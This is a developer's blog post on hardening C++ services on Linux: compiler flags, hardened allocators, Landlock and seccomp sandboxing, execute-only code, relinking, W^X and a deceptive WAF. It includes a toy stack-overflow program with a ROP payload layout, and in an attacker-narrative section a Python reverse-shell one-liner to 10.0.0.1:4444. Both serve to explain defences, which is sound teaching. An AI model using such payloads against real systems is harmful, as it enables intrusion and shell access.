Least Privilege, Most Shenanigans

I have been growing more and more careful about security as I develop new services for the Geminispace. I mostly write in C++, which is not known to be the safest language around. Plus, AI agents can now be ultra-persistent about pwning your service. This is not good... but I refuse to use Rust because I am yet to understand it well enough to know its best practices and pitfalls. So, in the meantime, I looked into the tricks OpenBSD uses to make life literal hell for attackers, even when a bug exists. Make finding a bug the 1st step in the attacker's many problems to come, instead of the be-all and end-all of your security. If tokens are cheap and attacks are therefore cheap, we can make attackers burn them like power plants and get nothing in return:

Plus, I learned C++ starting at 12. I think my brain has developed circuits to deal with the language. Take that, LLMs! You are not special :)

Feel free to point your favoriet LLM at this post so they break out of the "normal" security mindset and start creating your 2nd line of defense.

Computer security tells you that the less you can do, the more secure the overall system is. OpenBSD has some very nice security tricks that are applicable to most applications, even on Linux:

• Turn on compiler and environment security flags
• Use a hardened memory allocator
• Ban syscalls and paths that you don't need, after initialization
• OS enforced constant memory
• Relink your shared objects and more
• Binary rewrite
• xonly .text
• W^X memory

.. and they are all doable on Linux.

NOTE: Which at this point I decided to give this post the subtitle "OpenBSD is right"

Plus, there are some web tricks that I used to play with in my early days.. the hacker in me thinking about how I could piss myself off if I were the one attacking myself. These should NOT be treated as the first line of defense, but a safety net that when the application does fail, catches the attacker and stop their attacks from being effective.

The anatomy of (binary) exploits

Buffer overflows are such a common issue that Linux and GCC already try very hard to make even the worst C program non-exploitable, despite existing stack overflow bugs. The following function, even though it is obviously flawed, is not trivial to exploit. GCC will put a stack canary after name[40] and check that its value has not been changed before returning from the function. This makes starting the ROP chain hard: you'll have to guess the canary, which is a 64-bit value on 64-bit machines.

void hello() {
    char name[40];
    scanf("%s", name);
    printf("Hello, %s\n", name);
}

Instead, consider the following demonstration case:

static const uint64_t required_magic = UINT64_C(0x524f505f4f4b2121);

__attribute__((noinline, used)) void win(uint64_t magic) {
    if (magic == required_magic) {
        puts("ROP_OK");
        fflush(stdout);
        exit(0);
    }
    exit(2);
}

__attribute__((naked, noinline, used)) void gadget_ret(void) {
    __asm__("ret");
}

__attribute__((naked, noinline, used)) void gadget_pop_rdi_ret(void) {
    __asm__("pop %rdi; ret");
}

/* Fixed 0x50-byte frame. saved return address is 0x50 + 8 = 88 bytes in. */
__attribute__((naked, noinline, used)) void vulnerable(void) {
    __asm__(
        "push %rbp\n"
        "mov %rsp, %rbp\n"
        "sub $0x50, %rsp\n"
        "xor %edi, %edi\n"
        "lea -0x50(%rbp), %rsi\n"
        "mov $0x200, %edx\n"
        "call read@PLT\n"
        "leave\n"
        "ret\n");
}

int main(void) {
    vulnerable();
    return 0;
}

A quick detour into what the stack is doing here. In C, local variables live in a function's stack frame. The stack is just memory managed by convention: on x64, it grows towards lower addresses, while pushing something moves the stack pointer down and writes a value there. The call instruction puts the address of the next instruction on the stack and jumps into the function. Eventually, ret takes the value at the top of the stack, treats it as an address, and jumps there.

That last bit is the important one. The CPU does not know whether the value consumed by ret was put there by a call or by some other code - it's bytes. In the demo, vulnerable() reserves 80 bytes below its frame pointer and reads 0x200 bytes into that space. The input therefore keeps writing past the buffer, past the rest of the frame, and into the saved return address.

The call frame looks roughly like the following. The overflowing input writes from the buffer towards the higher addresses, which eventually reaches the return address:

higher addresses
+--------------------------------+
| saved return address           |  <- normally: back to main()
+--------------------------------+
| saved frame pointer (8 bytes)  |
+--------------------------------+
|                                |
| local buffer: 0x50 bytes       |  <- input starts here
|                                |
+--------------------------------+
                ^
                rsp after reserving the frame
lower addresses

By sending in the right payload, we can overwrite the return address and make the program print ROP_OK.

"A" x 88
  address(gadget_ret)
  address(gadget_pop_rdi_ret)
  0x524f505f4f4b2121        # magic value
  address(win)

After the overflow:

+--------------------------------+
| address(win)                   |  <- next value after the chain
+--------------------------------+
| 0x524f505f4f4b2121             |  <- popped into rdi
+--------------------------------+
| address(gadget_pop_rdi_ret)    |  <- gadget_ret returns here
+--------------------------------+
| address(gadget_ret)            |  <- vulnerable()'s ret lands here
+--------------------------------+
| "A" x 88                       |  <- buffer + saved frame pointer
+--------------------------------+

The picture shows addresses in the order they are written by the payload. Once execution starts, ret consumes them from the bottom upwards: first gadget_ret, then gadget_pop_rdi_ret, then the magic value is loaded into rdi, and finally win is selected as the next destination.

Normally, returning from vulnerable() would load the address in that slot and continue back into main(). We replace it with the address of part of a different function - called a gadget. gadget_pop_rdi_ret does two useful things on the System V x86-64 calling convention. It pops the next stack value into rdi (the register used for the first function argument) and then returns to the next address. So the stack itself becomes a little program:

• gadget_ret performs a harmless extra ret, which is commonly useful for getting the stack alignment right.
• gadget_pop_rdi_ret takes the magic value from the stack and puts it in rdi.
• Its ret jumps to win, which now receives the magic value as if it had been called normally.

This is Return-Oriented Programming (ROP) in a nutshell. Instead of injecting new instructions, we redirect ret through instruction fragments that are already present in the program or its libraries. Each gadget ends in a return and consumes the next stack value as its destination, so an attacker can chain together surprisingly complicated behaviour using only addresses and data. In this toy case, the chain only prints ROP_OK; in a real exploit, the desired result would usually be something much less wholesome.

The Shenanigans

Now, onto how we can make the attacker's life a living hell while trying to get something to work, beyond what the OS does for you by default. As demonstrated, these exploits are not part of the regular execution pattern and naturally rely on hidden assumptions to work. Breaking any of them stops the attack in its tracks. Workarounds are possible, but they also get harder and harder as more and more assumptions are removed.

Hopefully, at some point, there will be so few assumptions for the attacker to work with that, even if an exploit exists, there will be no path to finding it. Attempts crash and crash and crash. You, as the service operator, should notice the degradation and proceed with an investigation.

Turn on compiler and environment flags

GCC and Clang can do a lot to help keep your code safe, at little to no performance cost depending on the type of workload you are running. As shown above, GCC by default inserts stack canaries after the current stack frame and checks whether the canary is intact before returning, stopping most stack overflows. GCC can do much more than that; there are individual flags you can set. For simplicity, GCC provides -fhardened that enables the current (with compatibility in mind) best practices - -D_FORTIFY_SOURCE=3 -D_GLIBCXX_ASSERTIONS -ftrivial-auto-var-init=zero -fPIE -pie -Wl,-z,relro,-z,now -fstack-protector-strong -fstack-clash-protection -fcf-protection=full (on x64) and triggers a cascade of changes.

These flags do a lot to eliminate classes of C/C++ bugs and some classic binary exploit vectors. The interesting one is -fcf-protection=full. It marks all jump targets and allows the CPU to check whether a jump lands on a pre-marked target. This makes it harder for attackers to find code fragments to use and jump into them. They can't - the CPU will realize that the jump is off-target.

int buy_alcohol(const char* name, int age) {
    if(age >= 18) {
        printf("%s, \n", name);
        // <- in the event of exploit, attackers cannot just jump there
        // as it is in the middle of the if block
        proceed_with_payment();
        return TRUE;
    }
    else {
        return FALSE;
    }
}

A bit annoyingly, only newer Intel processors support it, and it is not supported on AMD. Also, glibc disables it by default because it requires all dependencies to be compiled with marked branches. Otherwise, a bare branch looks like any other instruction and the protection misfires. It is a promising future feature.

The good news is that, through x64 opcode abuse, this flag is compatible with all x64 CPUs, even if the CPU does not support it, because the landing marker acts as a no-op instruction there. So you can leave the flag on and wait until it is enabled by default.

On newer hardware (new Intel and AMD CPUs), -mshstk asks GCC to generate a special call-only stack to record where each function was called from. Ofc, this new stack cannot be written to by regular means.

                                         │
  Normal stack           Shadow stack    │
───────────────         ───────────────  │
local variables                          │
saved registers                          │
return address          return address   │
                                         │
local variables                          │
saved registers                          │
return address ──────── return address   │
                                         │
                                         │
           Return address compared       v
               on returning

In other words, it's very difficult to convince

void foo() {
    return;
}

to return to anywhere but the actual caller. Glibc does not enable shadow stack support by default and the protection stays inert. Run your -mshstk enabled program with environment flags to enable the protection:

GLIBC_TUNABLES=glibc.cpu.x86_shstk=on ./program

Use a hardened memory allocator

Most modern general purpose memory allocators come with good security designs. Not the glibc one, that one was designed for performance. On Linux, GrapheneOS's hardened_malloc is the easiest to access and the most decent one. On Arch, this can be found as the libhardened_malloc AUR package.

This hardened allocator does many things to make use-after-free vulnerabilities harder to exploit. Most importantly, it clears freed memory and checks whether a reused block is actually clean before handing it back to you. On hardened_malloc:

int* ptr = malloc(sizeof(int) * 20);
do_something(ptr);
free(ptr);

// it clears your allocation, if it didn't hand it back to the system
assert(*ptr == 0);

*ptr = 123;
// And checks if memory is clean, else crash If it hands you back
// the same memory, you crash here.
ptr = malloc(sizeof(int) * 20);

.. among other things - these measures help prevent freed data from being read by someone else. If there is a write-after-free (which is definitely a bug), it gets caught and the program terminates itself before anything bad can happen.

To use hardened_malloc, build it and simply LD_PRELOAD it (for non-statically linked binaries, won't work with statically linked executables):

LD_PRELOAD=/usr/lib/libhardened_malloc.so ./your_program

Post-initialization self-sandboxing

What do you mean your webapp wants to call execve or access /etc/shadow? It should never do that. Your server has created its thread pool, so why would it ever run fork or clone after the workers have spawned? It shouldn't. Either it's a bug and you are creating more threads than you expect or there's someone else tricking your code into doing something you are not approved of -- either way it should be stopped.

Normally, AppArmor, SELinux, systemd enforcement, and containers do a reasonable job of stopping obvious issues, but they have, in my opinion, 2 fatal flaws.

• They are developed by 3rd parties and need to be permissive in order not to break the application
• Some resources are still needed during startup, like clone() or exec(), to set up thread pools or drop privileges, yet are not needed during normal serving. External sandboxes cannot separate the two phases (not without complications, at least).

Both problems can be solved by moving the sandbox into the application itself and only enter the sandbox after initialization. You don't exactly need the ability to create threads after your pool is created, nor to read the config file, nor to load memory resident assets.

Linux provides 2 non-privileged (i.e. you don't need root) modules for processes to restrict themselves. Seccomp and Landlock.

Landlock makes files disappear from the view of the process. Or more precisely, it allows your app to tell the OS what it thinks it should have access to. Your webapp has no reason to access /etc/shadow nor /dev/sda nor /proc/1/ nor ... - in fact, most of the time, you as the application developer, know exactly what resource your code should be accessing - most likely a storage folder if you need static files. Tell the kernel that! "I am going to only access files under /var/myapp and no more". From that point onwards, Linux will report EPERM if the process tries to open files outside the allowed paths.

Newer versions of Landlock (ie. you need the latest kernel) can act as an inward-facing firewall, limiting the creation of sockets to only a pre-defined (IP, port, protocol) set. For a CRUD app, you have no reason to connect to any UDP port other than 53 (and 443 if you support QUIC) or any TCP port other than 443. Everything else is banned, doubling as a good way to prevent downgrade attacks.

It is worth noting that Landlock works on a per-thread basis, which is finer-grained than typical use and an active hazard because people mentally equate Landlock activation with restriction across the process. Enable TSYNC that's part of the landlock v8 ABI to make landlock effective across the entire process.

Seccomp lets you deny syscalls that the process is allowed to make (or inversely, supply a list of syscalls that it is allowed to make). Your webapp has no business (hopefully) calling setuid, invoking kexec or potentially execve if it never shells out to other programs. The webapp doing so would indicate a misunderstanding of its behaviour (and thus should be stopped) or someone found a bug, triggered behaviour that it should not exhibit (ex, someone ROPed you and is able to call exec, and thus should be stopped).

But which syscalls do you actually need? You can collect this list by running the program under strace and exercising a few APIs. Then use grep, awk, and uniq on the log to figure out what's needed. Or, more conveniently (and less securely), just ban fork, clone, exec, setuid, and io_uring (if you don't need it). These are the usual dangerous suspects. Or just ask an LLM to produce a list and gradually tighten it. Whichever route you take, seccomp stops the program from being able to make dangerous calls.

The two mechanisms are great at preventing entire categories of things from happening, enforced by the kernel. What's better is you can invoke landlock and seccomp in the middle of your process' execution. Most applications (not just web apps, but also things like sed and your favorite text editor) contain 2 phases, loosely: initialization and a main loop. Initialization allocates memory and asks the OS for resources, FDs, threads, etc.., and the main loop processes whatever the program should. Like sed transforming the input strings or your text editor accepting key strokes and displaying it on the terminal.

Surprisingly, applications usually need more syscalls and files during initialization than during the main loop, despite spending most of their time in the loop. Most web apps, for performance reasons, create a thread pool and database connections and load trusted CAs during initialization. And conveniently, the application is mostly safe during initialization, you don't need the sandbox during that phase. You (hopefully) own the config file, the system environment and all other inputs during initialization.

Program start
    |<----------------- calls clone() for threadpool, load CA,
    v                   load config, connect to DB
 Initialization
    |<----------------- enables sandboxing
    v                    (cannot setuid,  chdir, fork, exec,
 Main logic loop<----+    nor read the config file)
    |                |
    +----------------+

Thus, you really ought to enable the sandbox right before the service goes public. That way the sandbox can run stricter and remove a larger portion of what the process can do. Ideally, as configs are important files to steal, the process can remove its own access to the config folder, making stealing the file itself impossible.

I would argue that self sandboxing is the single most critical defense shared in this post. My speculation, but I think OpenAI likely would be successful at containing their rogue AI (ref the HuggingFace incident) if their Artifactory instance were locked down by landlock, unable to communicate with the outside world, outside of the intended scope (also physically air gapping the testing machines would be important too) and seccomp'd such it can't create new sockets that it doesn't intend to use.

OS enforced constant memory

const in C and C++ (and non mut in Rust) means "this object should not change". But this is only a language level protection, though undefined, you can absolutely cast a const pointer into mutable and write, most of the time that works. In an event of attack, this can be used to redirect your execution if the attacker can find a way to overwrite your object.

Introducing mprotect() and mseal() - on a page sized granularity, you can ask Linux to make a page not writable anymore, or even not readable - so critical data is only readable in the very short window that you intend on reading. Reading at any other time triggers a segfault.

Here is a Linux example which loads a 32-byte key into its own anonymous page, then makes that page inaccessible with PROT_NONE. The code must explicitly open a short read-only window before passing the key to a crypto operation.

#define KEY_SIZE 32

int main(void) {
    long page_size = sysconf(_SC_PAGESIZE);
    if (page_size < KEY_SIZE)
        die("sysconf(_SC_PAGESIZE)");

    /* mmap returns page-aligned storage, unlike malloc(). */
    unsigned char *key = mmap(NULL, (size_t)page_size, PROT_READ | PROT_WRITE,
                              MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (key == MAP_FAILED)
        die("mmap key");

    /* Do this while the process can still read its secret files. */
    load_key("/run/secrets/signing-key", key);

    /* Avoid including the secret in a core dump, where supported. */
    if (madvise(key, (size_t)page_size, MADV_DONTDUMP) == -1)
        die("madvise(MADV_DONTDUMP)");
    if (mlock(key, (size_t)page_size) == -1)
        die("mlock key");

    /* Any accidental read or write through key now raises SIGSEGV. */
    /* PROT_NONE = Cannot read and cannot write */
    if (mprotect(key, (size_t)page_size, PROT_NONE) == -1)
        die("mprotect(PROT_NONE)");

    /* Make the key readable again when needed */
    if (mprotect(key, (size_t)page_size, PROT_READ) == -1)
        die("mprotect(PROT_READ)");
    sign_request(key); /* use the key */
    if (mprotect(key, (size_t)page_size, PROT_NONE) == -1)
        die("mprotect(PROT_NONE)");

    /* munmap() discards the anonymous page; no writable transition is needed. */
    munlock(key, (size_t)page_size);
    if (munmap(key, (size_t)page_size) == -1)
        die("munmap key");
}

Unfortunately, this doesn't work with standard allocators and most likely requires you to call mmap() directly. Otherwise, allocators do not give you page-aligned memory, and freeing it does not automatically make the memory readable and writable again.

New binaries every run

With modern Linux environments, attackers targeting the process itself most likely have to resort to ROP (Return-Oriented Programming) to gain code execution. Even with CET, JOP (Jump-Oriented Programming) protection is not yet widely supported. Whether using ROP or JOP, the attacker needs some sort of visibility into the process itself, either through an arbitrary-read vulnerability or by obtaining the binaries you are running and defeating ASLR. Even so, ROP is brittle and easy to turn into a crash.

Unfortunately, there is a variant of ROP called Blind ROP that tries to guess what the return did through timing or by leaking the content directly. This process is brittle and noisy, which hopefully you'll notice through some monitoring mechanism.

What if you just run a different binary every time you start the process? You do not need to recompile the entire thing. ROP works by offsets from a known point, for example "system() is 0x123456 bytes from the beginning of this specific build of libc" or "the hex to decimal function is always 0x1000 bytes before the current PC when I exploit". We can invoke the linker to change that.

Add -ffunction-sections to your compiler flags and --shuffle-sections=.text\*=<seed> to your linker flags. The seed is a 32-bit number that needs to be different each time you run the application. This triggers a relink before you run it in production.

Don't worry, this usually takes only a few seconds. And if you use Docker, your Docker Compose takes way longer than that.

With a freshly linked binary on each run, information learned from past exploits cannot be reused after a crash. This wipes the attacker's progress and makes a successful exploit much harder.

You can do the same to all dynamically linked libraries if you think it is useful - the most common targets being libssl, libcrypto (OpenSSL), and libc. For statically linked libraries, build them with -ffunction-sections; they will automatically be shuffled when you relink the main executable.

Execute only .text

Relinking your binaries makes exploitation harder by forcing the attacker to read your code from memory before creating a ROP chain. The process is inherently fragile. We can do better. Although this is not directly supported by Linux and is a hack on x64, you can call pkey_mprotect() to make a page execute-only, even if it is already mapped by the dynamic linker!

Now attackers cannot even read your code. On x64, this switch lives in userspace (because reasons), so it is not a perfect defense. Still, it makes ROP hard: the attacker has to somehow find and invoke the wrpkru instruction to change it before reading code from your memory.

It needs careful testing because it is not directly supported on Linux. I have yet to find any issues using it with OpenSSL and other common libraries, though. Because reading the memory map is complicated, the following is the code I use in production. It opens /proc/self/maps, finds readable-executable regions, makes them execute-only, and then makes the change permanent with mseal().

struct Mapping
{
    void *start;
    std::size_t length;
    bool executable;
};

// and somewhere in init
int executeOnlyPkey = pkey_alloc(0, PKEY_DISABLE_ACCESS);

std::vector<Mapping> sealableFileMappings()
{
    std::ifstream maps{"/proc/self/maps"};
    if (!maps) throw std::runtime_error{"cannot open /proc/self/maps"};

    std::vector<Mapping> mappings;
    std::string line;
    while (std::getline(maps, line))
    {
        std::istringstream fields{line};
        std::string range;
        std::string permissions;
        std::string offset;
        std::string device;
        std::string inode;
        std::string pathname;
        if (!(fields >> range >> permissions >> offset >> device >> inode >> pathname)) continue;
        if (permissions.size() != 4) continue;
        const bool executable = permissions.compare(0, 3, "r-x") == 0;
        const bool readOnly = permissions.compare(0, 3, "r--") == 0;
        if (!executable && !readOnly) continue;

        // The pathname field follows offset, device, and inode.  Restrict this
        // to file-backed mappings: it selects the executable and loaded DSOs,
        // while excluding the vDSO, heap, stacks, and any future JIT mapping.
        if (pathname[0] != '/') continue;

        const auto dash = range.find('-');
        if (dash == std::string::npos)
            continue;
        unsigned long long start = 0;
        unsigned long long end = 0;
        const auto [startEnd, startError] = std::from_chars(range.data(), range.data() + dash, start, 16);
        const auto [endEnd, endError] =
            std::from_chars(range.data() + dash + 1, range.data() + range.size(), end, 16);
        if (startError != std::errc{} || endError != std::errc{} || startEnd != range.data() + dash ||
            endEnd != range.data() + range.size() || end <= start)
            throw std::runtime_error{"cannot parse /proc/self/maps executable mapping"};
        mappings.push_back({reinterpret_cast<void *>(start), static_cast<std::size_t>(end - start), executable});
    }
    return mappings;
}

void sealImmutableFileMappings()
{
    // Linkers place per-function sections such as .text.hot and .text.unlikely
    // into executable PT_LOAD mappings.  Seal VMAs rather than named ELF
    // sections, so every such section in the executable and every loaded DSO
    // is covered.  Apply the same VMA-based treatment to file-backed r--
    // mappings: those hold ELF headers, rodata, and RELRO-protected GOT pages.
    for (const auto mapping : sealableFileMappings())
    {
        if (mapping.executable)
            makeExecutableOnly(mapping.start, mapping.length);
        if (mseal(mapping.start, mapping.length, 0) != 0)
            throw std::runtime_error{"cannot seal immutable file mapping: " + std::string{std::strerror(errno)}};
    }
}

void makeExecutableOnly(void *const address, const std::size_t length)
{
    // NOTE: This is the x64 implementation. ARM v8 and v9 have xonly support in
    // MMU thus can directly be mprotect'd without consuming a pkey slot
    if (executeOnlyPkey < 0)
        throw std::logic_error{"execute-only protection key was not initialized"};
    if (pkey_mprotect(address, length, PROT_EXEC, executeOnlyPkey) != 0)
        throw std::runtime_error{"cannot make executable mapping X-only: " + std::string{std::strerror(errno)}};
}

Surprisingly, even though xonly .text is not officially supported by the Linux kernel, applying xonly also stops the kernel from reading your code. write(STDOUT_FILENO, &main, 16) FAILS with EFAULT.

If you are lucky and is running on ARM v8, v9 or RISC-V, no pkey tricks are needed. Simply mprotect(PROT_EXEC) is enough as the MMU nativly supports execute only mappings.

W^X memory

For applications that do not need a JIT - that is, code written in C, C++, Rust, Go, Zig, Vala, Lua (when not running in LuaJIT), etc. - you can ask Linux to ban writable and executable memory.

if (prctl(PR_SET_MDWE, PR_MDWE_REFUSE_EXEC_GAIN, 0L, 0L, 0L) == -1)
    perror("prctl(PR_SET_MDWE)");

That kills a set of really annoying attacks in which an attacker gains limited code execution - not enough to really do anything, but enough to find or otherwise make an writable and executable page and write code into it. They can map an executable page, write their code there.. and jump! Now that's full code execution, and you are screwed.

Side note: you can do the same by telling seccomp to reject mmap mappings that are WRITE | EXEC, but this also works and is something the kernel can help you enforce.

A trolling WAF

IDORs are stupid bugs. They should not exist at all, even if you point the worst LLM you can run at your codebase. No worries, there are tricks around IDOR that do not always work, but work well enough to stop some of them - URL rewrites.

Most IDOR URLs look like /users/42 or /orders/20. It's trivial to guess that the next order is indexed 21. And if you are not careful with authentication.. that's IDOR for you. How do we fix this?

Most modern web applications that use server-side rendering do not rely on users having bookmarks - URL length is not that important anymore. Thus, encrypt the numbers with a server-owned key! In a WAF. Make it parse the HTML and redirect responses, inspect the URLs, and rewrite URLs pointing to your own domain, such as https://example.com/order/42, as https://example.com/order/<AES_GCM(42, <WAF-owned key>)>.

The WAF needs to do this in both directions - encrypting on the way out, decrypting on the way in, and rejecting stray numbers coming in. This way, you can read the number back as-is, but no one can forge the now-opaque AES blob or replace the blob with a number to bypass the WAF. Be careful, though, as this only works with server-rendered pages.

That gets rid of the most stupid version of IDOR without actually fixing the underlying bug - your dumb developers and ancient services can keep working as is.

For obvious attacks - headers with stray \r or \n (unless the API is returning 500, which could be a legitimate error), content encoded with EBCDIC, malformed JSON, or JSON with extreme recursion depth - optionally return crafted fake responses. It could be a success 10% of the time and a malformed request 90% of the time, potentially slowing down the response and turning it into a tarpit. This attracts the attention of the attacker trying to figure out what bug they are triggering, without letting them know that you know what they are up to and are watching them.. at least, so far. Capable AI is expensive, and wasting its time is a good way to make it go away.

However, you do not want to spray the deception around so much that it overlaps with your real debugging. That'll hide real bugs from being discovered.

Misc tricks that might not be worth it

There are some other tricks that might not be worth the time to implement in your application (and are honestly the OS's job).

First, check that stack pointers are within the expected pthread range - both pthreads and your main thread have a predefined maximum stack size. You can iterate over your threads after thread-pool initialization, record the bounds, and periodically check whether each stack pointer is still within them. If not, something is wrong (or your programming language is not following its semantics; also, almost no one uses sigaltstack()).

Second, some attacks monopolize your thread - it becomes a TCP proxy, etc. Add a heartbeat, and if any thread does not respond within a set window, assume your program has been compromised. This should never trigger with proper asynchronous programming. If it cannot fire the heartbeat despite proper asynchronous programming, you are way overloaded and would need to restart anyway.

NOTE: I really hate Linux for this. OpenBSD does everything for you. Stack pointer checks every time you enter the kernel (even page fault!), default W^X policies, Xonly .text. Easy self sandboxing, etc.. etc..

Conclusion from 1st principles

These moves are not traditionally "defenses" in the sense that they remove attacks. They are mitigations that make attacks harder, sometimes to the point that an attack is no longer viable. Unlike security through obscurity, they work even if the attacker knows how the defense works. That is very important. Attackers are not dumb.. script kiddies nowadays come with their own LLMs, which can be much smarter than the average developer. Making things safe by forcing dumb guesses is not a solution.

Instead, break assumptions. Attacks are holes in the logic that become unintended results. Make that break. You do not need to know where the holes are, only how holes can be abused and what the abuse assumes. Make it so that 2, 3, or even 4 stars need to align at the same time, perfectly, for attacks to work. Better yet, make it probabilistic: every time you detect an attack, change things and make the attacker relearn the chain.

Imagine you are the attacker

Now, imagine you are an attacker and the victim is running their web app and has a crypto key somewhere. You find you can reliably crash the app by uploading some malformed image. What happens now?

• Maybe they correctly detected the image is malformed but did not handle exceptions
• Maybe it does crash their code via some overflow somewhere, good. How do I know what I just did?

So you try different setups: different data sizes and different payloads, trying to get the endpoint to accept the bad image and survive.. until you realize that stack canaries mean you are playing a guessing game in which the canary changes on each crash. Worse, even if you find another bug that leaks the canary, CET would stop you from returning to the place you want, forcing you into JOP. Even with JOP, you do not know where you should jump because of the random relinking. Then you find an arbitrary read, so you try to figure out what code is being run and what objects exist on the heap. Oops: because of xonly code mappings and the hardened allocator, the free memory blocks are clean, and trying to dump the code over a socket is a chicken-and-egg problem - you need gadgets to read the executable, while you need the executable to find the gadgets, and manually reading the code just segfaults. So you decide to try blind JOP...

That has the same problem, so you try to see whether you can make the backend serve its own executable. Worth a shot if there is a directory-traversal vulnerability somewhere. Yet it cannot, even if that class of vulnerability exists - Landlock has already made it impossible to access files outside its local file cache.

So that fails. You switch tactics, trying to pop a shell by guessing where system() is and attempting to run python3 -c 'import os,pty,socket; s=socket.socket(); s.connect(("10.0.0.1",4444)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); pty.spawn("/bin/sh")'... Lucky for you, both fork and exec are banned in the environment. Not to mention that libc is relinked every time the application starts and ASLR shifts libraries around.. you do not know where system() is in the address space. And because W^X is enforced, you cannot copy the interpreter into memory and perform a userspace exec. AND /usr/bin/python is not under the webapp's file cache so the loader cannot read it anyway.

Things move around every time you fail. What you learned 2 minutes ago becomes worthless. All the while, you are being bamboozled by the WAF, thinking it accepted a certain malformed request. Nah, it didn't. It was just playing with you and wasting your time and attention.

After 18 hours of trying, the service administrator finds the app crashing over and over, stops it, updates the dependencies, and now you are locked out completely. And even if you somehow bypassed all of the issues... the key is locked except during the 500us when the server is actually using it. Aiming a read to hit that microscopic window over the internet is.. to put it lightly.. impossible.

None of these techniques remove bugs outright. You still ought to audit and remove bugs in your codebase. But they make attacks much more difficult to perform against bugs you did not discover. And the protection adds up multiplicatively. It is no longer enough for someone to find one bug in order to pwn you. Holes need to be found at every layer, and for each meaningful layer added, the attackers' room to maneuver goes down and down while the cost of the attack rises higher and higher.

That is good enough security.

Implementation order

Personally, if I am starting a new project, I'll add the protections in this order (for all languages, including Rust):

Free, barely any risk, just add it:

• Enable compiler flags
• (Even with Rust) Use a hardened allocator
• Add self sandboxing
• Enforce W^X if you don't need JIT

With some risk, but making post-exploitation more painful:

• Execute-only .text
• Relink your executable and libraries

And with engineering effort to make data less accessible:

• Call mprotect(PROT_NONE) on critical data that does not change and mprotect(PROT_READ) for data that rarely changes